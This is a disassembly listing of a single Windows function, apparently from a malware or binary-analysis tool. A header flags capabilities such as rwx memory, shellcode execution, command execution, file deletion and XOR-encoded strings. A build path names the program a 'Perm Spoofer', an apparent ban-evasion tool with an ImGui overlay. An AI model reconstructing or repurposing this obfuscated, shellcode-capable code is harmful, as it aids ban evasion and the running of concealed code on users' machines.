Function at 0x14003bb10
Capabilities:
Allocate or change rwx memory
Delete file
Encode data using xor
Execute command
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xad0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
lea rbp, [rax - 0xa78]
and rbp, 0xffffffffffffffe0
call fcn.14003b800
lea rdx, [rbp + 0x18]
mov byte [rbp + 0x18], 0
lea rcx, [rbp + 0x180]
call fcn.140044920
lea rcx, [rbp + 0x180]
call fcn.140039250
cmp dword [rbp + 0x188], 0
je 0x14003bbae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rax, [0x140043560]
mov dword [rbp + 0x4b0], 0x50
xor ebx, ebx
mov qword [rbp + 0x4b8], rax
mov edx, 0x7f00
mov qword [rbp + 0x4c0], rbx
xor ecx, ecx
mov qword [rbp + 0x4c8], rbx
mov dword [rbp + 0x4b4], 0x40
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x4d0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rbp + 0x4e0], rbx
movabs rdx, 0xcd6d1aaf483c5570
mov qword [rbp + 0x4d8], rax
movabs rcx, 0x2e18591e4cd91407
mov qword [rbp + 0x10], rdx
movabs r13, 0xf0006cf4b7c644a2
mov rax, qword [rbp + 0x10]
movabs r12, 0xd51b561b43db1e73
mov qword [rbp + 0x140], rax
movabs r8, 0x3bf538b26fe4f2aa
mov qword [rbp + 0x10], rcx
movabs r15, 0x94baf4a5f9f6bcaf
mov rax, qword [rbp + 0x10]
movabs r10, 0xcd021ac348525525
mov qword [rbp + 0x148], rax
movabs r9, 0x2e48593e4cbd1466
mov qword [rbp + 0x10], r13
movabs rbx, 0xf0206c99b7b444c7
mov rax, qword [rbp + 0x10]
movabs r11, 0xd574567443ab1e20
mov qword [rbp + 0x150], rax
movabs r14, 0x94baf4d7f993bcc9
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x10], r8
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x10], r10
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x10], r9
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x10], r11
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x10], r8
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
mov qword [rbp + 0x68], rax
lea rax, [rbp + 0x140]
vmovdqa xmm2, xmmword [rbp + 0x60]
vxorps xmm2, xmm2, xmmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x140], ymm1
mov qword [rbp + 0x4e8], rax
vmovdqa xmmword [rbp + 0x160], xmm2
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
mov edx, 0x7f00
mov qword [rbp + 0x158], rax
xor ecx, ecx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x10], r8
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x10], r10
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x10], r9
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x10], r11
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x10], r8
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
mov qword [rbp + 0x68], rax
lea rax, [rbp + 0x140]
vmovdqa xmm2, xmmword [rbp + 0x60]
vxorps xmm2, xmm2, xmmword [rbp + 0x160]
vmovdqa xmmword [rbp + 0x160], xmm2
vmovdqa ymmword [rbp + 0x140], ymm1
mov qword [rbp + 0x4f0], rax
vzeroupper
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x4b0]
mov qword [rbp + 0x4f8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x1401eaab4]
mov ecx, 1
cvttss2si esi, dword [0x1401eaab0]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1401eaab4]
xor ecx, ecx
movss xmm14, dword [0x140056478]
cdq
sub eax, edx
mulss xmm0, xmm14
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1401eaab0]
cdq
sub eax, edx
mulss xmm0, xmm14
sar eax, 1
movd xmm1, eax
movabs rax, 0xcd6d1aaf483c5570
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x140], rax
movabs rax, 0x2e18591e4cd91407
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x10], r12
mov rax, qword [rbp + 0x10]
cvtdq2ps xmm1, xmm1
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x10], r15
subss xmm1, xmm0
cvttss2si ecx, xmm1
mov rax, qword [rbp + 0x10]
lea r8, [rbp + 0x140]
mov qword [rbp + 0x160], rax
movabs rdx, 0x3bf538b26fe4f2aa
mov qword [rbp + 0x10], rdx
xor r13d, r13d
mov rax, qword [rbp + 0x10]
mov r9d, 0x80000000
mov qword [rbp + 0x168], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x40], rax
movabs rax, 0x2e48593e4cbd1466
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48], rax
movabs rax, 0xf0206c99b7b444c7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x50], rax
movabs rax, 0xd574567443ab1e20
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x58], rax
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60], rax
mov dword [rsp + 0x38], edi
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
mov rdx, qword [rbp + 0x4f0]
mov dword [rsp + 0x30], esi
mov qword [rbp + 0x68], rax
vmovdqa xmm2, xmmword [rbp + 0x60]
vxorps xmm2, xmm2, xmmword [rbp + 0x160]
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ecx
xor ecx, ecx
vmovdqa xmmword [rbp + 0x160], xmm2
vmovdqa ymmword [rbp + 0x140], ymm1
vzeroupper
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x1401eb3a8], rax
call fcn.14003b4e0
movdqa xmm0, xmmword [0x1400565b0]
lea rdx, [rbp + 0x720]
mov rcx, qword [0x1401eb3a8]
movdqu xmmword [rbp + 0x720], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1401eb3a8]
lea rdx, [0x1401eb3b0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a0], xmm0
movups xmmword [0x1401eb3b0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1401eb3a8]
call fcn.1400433b0
test al, al
jne 0x14003c0a6
call fcn.1400434e0
mov rdx, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x4f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, 1
jmp 0x140042f69
mov rcx, qword [0x1401eb3a8]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401eb3a8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.90.0
mov qword [rsp + 0x28], 0x14
mov edx, 0x38e8
mov r9d, 8
mov qword [rsp + 0x20], 0x10
mov r8d, 0x464
call fcn.140016270
xor ecx, ecx
call fcn.140006420
call fcn.140008950
lea rcx, [rbp + 0x910]
mov rdi, rax
or dword [rax], 3
call fcn.140027980
mov dword [rbp + 0x95c], 0x10c
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.14002a960
movss xmm3, dword [0x140056518]
lea rdx, [0x1401c13c0]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0x910]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1401eb418], rax
call fcn.14002a960
movss xmm3, dword [0x140056500]
lea rdx, [0x1401c13c0]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0x910]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1401eb418], rax
call fcn.14002a960
movss xmm6, dword [0x140056524]
lea rdx, [0x14012b3f0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x910]
mov r8d, 0x875dc
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1401eb408], rax
call fcn.14002a960
movss xmm3, dword [0x14005653c]
lea rdx, [0x14006c6d0]
mov qword [rsp + 0x28], rax
mov r8d, 0x28da8
lea rax, [rbp + 0x910]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1401eb3e0], rax
call fcn.14002a960
movss xmm7, dword [0x1400564f8]
lea rdx, [0x14006c6d0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm7
lea rax, [rbp + 0x910]
mov r8d, 0x28da8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1401eb3d8], rax
call fcn.14002a960
mov qword [rsp + 0x28], rax
lea rdx, [0x14012a930]
lea rax, [rbp + 0x910]
movaps xmm3, xmm6
mov r8d, 0xab8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.14002a960
mov qword [rsp + 0x28], rax
lea rdx, str.OTTO
lea rax, [rbp + 0x910]
movaps xmm3, xmm6
mov r8d, 0xba80
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1401eb410], rax
call fcn.14002a960
mov qword [rsp + 0x28], rax
lea rdx, [0x1400f0020]
lea rax, [rbp + 0x910]
movaps xmm3, xmm6
mov r8d, 0x23218
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1401eb3e8], rax
call fcn.14002a960
mov qword [rsp + 0x28], rax
lea rdx, [0x140067110]
lea rax, [rbp + 0x910]
movaps xmm3, xmm6
mov r8d, 0x55b8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1401eb3d0], rax
call fcn.14002a960
mov qword [rsp + 0x28], rax
lea rdx, [0x1401e7730]
lea rax, [rbp + 0x910]
movaps xmm3, xmm6
mov r8d, 0x32cc
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400282f0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1401eb3f8], rax
call fcn.14002a960
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b29d0]
lea rax, [rbp + 0x910]
movaps xmm3, xmm6
mov r8d, 0x2f68
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400282f0
mov rcx, qword [0x1401eb3a8]
mov qword [0x1401eb400], rax
call fcn.140036d20
mov rdx, qword [0x1401eb7c0]
mov rcx, qword [0x1401eb7b8]
call fcn.140036700
movss xmm0, dword [0x1400564b0]
movss xmm3, dword [0x140056480]
movss dword [rsp + 0x20], xmm0
movss xmm2, dword [0x14005647c]
lea rcx, [rbp + 0x9a0]
movss xmm1, dword [0x140056474]
call fcn.1400019e0
lea rcx, [rbp + 0x6d0]
xor r15b, r15b
call fcn.140039590
lea rdx, [rbp + 0x468]
lea rcx, [rbp + 0x6d0]
call fcn.1400398b0
movzx ebx, byte [rbp + 0x18]
lea r12, [0x140000000]
mov r14d, dword [0x14005f010]
xorps xmm13, xmm13
movdqa xmm9, xmmword [0x140056680]
mov edi, 1
movdqa xmm15, xmmword [0x1400567c0]
movdqa xmm12, xmmword [str.6666666666666666]
movdqa xmm10, xmmword [0x140056670]
movdqa xmm8, xmmword [0x1400567d0]
movdqa xmm11, xmmword [0x140056630]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
lea rcx, [rbp + 0x8e0]
xor edx, edx
lea rsi, [0x1401eb3c0]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14003c50f
nop dword [rax]
lea rcx, [rbp + 0x8e0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x8e0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x8e8], 0x12
lea rcx, [rbp + 0x8e0]
movzx r15d, r15b
cmove r15d, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14003c4c0
test r15b, r15b
jne 0x140042f18
lea rdx, [rbp]
mov qword [rbp], r13
lea rcx, [rbp + 0x468]
call fcn.140044310
test eax, eax
jne 0x14003c578
lea rcx, [rbp + 0x6d0]
call fcn.140043820
mov r8, rax
lea rcx, [rbp + 0x5b0]
movzx edx, bl
call fcn.140039530
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x468]
call fcn.140043870
mov rcx, qword [rbp + 0x5b0]
test rcx, rcx
je 0x14003c578
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14003c578
call fcn.140043f90
call fcn.140036a30
call fcn.1400379c0
call fcn.1400093e0
lea rcx, [rbp + 0x140]
call fcn.140039900
cmp qword [0x1401eb3c0], r13
jne 0x14003c5cc
mov rcx, qword [0x1401eb7b8]
lea r9, [rbp + 0x140]
mov qword [rsp + 0x30], r13
lea rdx, [0x14005f0c0]
mov qword [rsp + 0x28], rsi
mov r8d, 0x1090
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401eb3a0], r13
jne 0x14003c60c
mov rcx, qword [0x1401eb7b8]
lea rax, [0x1401eb3a0]
mov qword [rsp + 0x30], r13
lea r9, [rbp + 0x140]
mov qword [rsp + 0x28], rax
lea rdx, [0x140095480]
mov r8d, 0x5ab96
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401eb3c8], r13
jne 0x14003c64c
mov rcx, qword [0x1401eb7b8]
lea rax, [0x1401eb3c8]
mov qword [rsp + 0x30], r13
lea r9, [rbp + 0x140]
mov qword [rsp + 0x28], rax
lea rdx, [0x140060150]
mov r8d, 0x6fb2
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1401eb420], r13
jne 0x14003c68c
mov rcx, qword [0x1401eb7b8]
lea rax, [0x1401eb420]
mov qword [rsp + 0x30], r13
lea r9, [rbp + 0x140]
mov qword [rsp + 0x28], rax
lea rdx, [0x140113240]
mov r8d, 0x176e4
mov qword [rsp + 0x20], r13
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rax, qword [0x1401eb300]
test rax, rax
jne 0x14003c6b9
mov r8d, 0xbf0
lea rdx, str.C:UsersAlexDesktopPerm_SpooferFragment_RemakeFragment_Remakeimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401eb300]
mov qword [rax + 0x38f8], r13
test rax, rax
jne 0x14003c6e6
mov r8d, 0xbf0
lea rdx, str.C:UsersAlexDesktopPerm_SpooferFragment_RemakeFragment_Remakeimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401eb300]
movss xmm0, dword [0x1401eaab0]
lea rcx, [rbp + 0x278]
movss xmm1, dword [0x1401eaab4]
xor edx, edx
mov dword [rax + 0x3904], r13d
mov dword [rax + 0x393c], 0x41700000
mov dword [rax + 0x3940], 0x41700000
mov dword [rax + 0x3964], 0x40e00000
movss dword [rbp + 0x278], xmm0
movss dword [rbp + 0x27c], xmm1
call fcn.140012ea0
movabs rcx, 0x2e48593e4cbd1466
movabs rax, 0xcd7173b1293e3a75
mov qword [rbp], rax
xor edx, edx
mov rax, qword [rbp]
mov r8d, 0xab
mov qword [rbp + 0x3b0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x3b0]
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x3b0]
mov qword [rbp + 0x588], rax
xorps xmm0, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x3b0], xmm0
call fcn.14000f280
call fcn.14003b430
mov rcx, qword [0x1401eb300]
movdqa xmm0, xmmword [0x140056740]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x8d0]
mov rdi, qword [rax + 0x2a8]
movups xmmword [rbp + 0x8d0], xmm0
call fcn.140004630
movss xmm0, dword [0x1401eaab0]
lea r8, [rbp + 0x280]
movss xmm1, dword [0x1401eaab4]
lea rdx, [rbp + 0x288]
movss dword [rbp + 0x280], xmm0
mov r9d, eax
movss xmm0, dword [0x140056504]
mov rcx, rdi
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x284], xmm1
mov qword [rbp + 0x288], r13
call fcn.140024cc0
mov rcx, qword [0x1401eb300]
movdqa xmm0, xmmword [0x140056600]
movups xmmword [rbp + 0x20], xmm0
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
mov rcx, qword [rax + 0x2a8]
mov esi, dword [rcx + 0x20]
lea rcx, [rbp + 0x20]
call fcn.140004630
movdqa xmm6, xmmword [0x1400567a0]
lea rcx, [rbp + 0x860]
movups xmmword [rbp + 0x860], xmm6
mov edi, eax
call fcn.140004630
mov r9, qword [0x1401eb300]
mov r10d, eax
movss xmm0, dword [0x1401eaab0]
movss xmm1, dword [0x1401eaab4]
mulss xmm0, xmm14
mov rcx, qword [r9 + 0x4038]
mulss xmm1, xmm14
mov byte [rcx + 0xc0], 1
mov rcx, qword [r9 + 0x4038]
mov rax, qword [rcx + 0x2a8]
mov r8d, dword [rax + 0x20]
mov edx, esi
unpcklps xmm0, xmm1
mov byte [rcx + 0xc0], 1
mov rcx, qword [r9 + 0x4038]
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], r10d
movsd qword [rsp + 0x20], xmm0
movss xmm0, dword [0x1400564b0]
mov rcx, qword [rcx + 0x2a8]
movaps xmm1, xmm0
unpcklps xmm1, xmm0
movq r9, xmm1
movsd qword [rbp], xmm1
call fcn.1400274f0
lea rcx, [rbp + 0x20]
mov dword [rbp + 0x290], 0x435c0000
mov dword [rbp + 0x294], 0x43fa0000
movups xmmword [rbp + 0x20], xmm6
call fcn.140004630
lea rcx, [rbp + 0x830]
mov edi, eax
movups xmmword [rbp + 0x830], xmm6
call fcn.140004630
movss xmm3, dword [0x14005655c]
mov edx, eax
movabs rax, 0xcd021ac34852556d
movabs rsi, 0x2e48593e4cbd1466
mov qword [rbp], rax
mov r8d, edi
mov rcx, qword [rbp]
movabs rax, 0xcd021ac348525525
mov qword [rbp + 0x3a0], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x3a8], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x5d0], rcx
lea rcx, [rbp + 0x3a0]
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
lea rax, [rbp + 0x290]
movdqa xmm0, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x3a0], xmm0
mov qword [rsp + 0x20], rax
call fcn.140033590
mov eax, dword [0x1401eb310]
test eax, eax
jne 0x14003ca19
mov eax, 1
mov dword [0x1401eb310], eax
jmp 0x14003ca22
cmp eax, 1
jne 0x14003db56
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x800]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0x812254e31d727505
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0x2e481d1e0d9d5b46
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movdqa xmm0, xmmword [rbp + 0x5e0]
xorps xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x390], xmm0
movups xmmword [rbp + 0x800], xmm6
call fcn.140004630
movss xmm2, dword [0x140056528]
lea rcx, [rbp + 0x390]
mov rdx, qword [0x1401eb3e0]
lea r9, [rbp + 0x298]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x298], 0x43040000
mov dword [rbp + 0x29c], 0x42480000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
movabs rcx, 0xd574567443ab1e20
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xa36774a225203075
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x4b2e36513cee3412
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xf0206c99b7b444b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0xf0206c99b7b444c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x500]
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
vmovdqu ymm0, ymmword [rbp + 0x500]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovups xmmword [rbp + 0x500], xmm15
vzeroupper
call fcn.140004630
movss xmm2, dword [0x1400564fc]
lea rcx, [rbp + 0x100]
mov rdx, qword [0x1401eb418]
lea r9, [rbp + 0x2a0]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x2a0], 0x43220000
mov dword [rbp + 0x2a4], 0x42a00000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x898]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0x96223ae368727505
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x2e4859637c932610
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movdqa xmm0, xmmword [rbp + 0x5f0]
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm0, xmmword [0x140056790]
movups xmmword [rbp + 0x898], xmm0
call fcn.140004630
movss xmm2, dword [0x1400564fc]
lea rcx, [rbp + 0x380]
mov rdx, qword [0x1401eb418]
lea r9, [rbp + 0x2a8]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x2a8], 0x43830000
mov dword [rbp + 0x2ac], 0x42a00000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
call fcn.140016b80
lea rcx, [rbp + 0x40]
call fcn.14003b250
lea rcx, [rbp + 0x80]
call fcn.14003acb0
call fcn.14003ab70
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.14003b570
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xcd021ac348525556
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
movdqa xmm0, xmmword [rbp + 0x600]
lea rcx, [rbp + 0x730]
xorps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x730], xmm6
call fcn.140004630
movss xmm2, dword [0x140056510]
lea rcx, [rbp + 0x3c0]
mov rdx, qword [0x1401eb410]
lea r9, [rbp + 0x2b0]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x2b0], 0x42200000
mov dword [rbp + 0x2b4], 0x43160000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x740]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0x814d4ce303011c61
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0x2e48591e76f85933
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0xcd021ac348525525
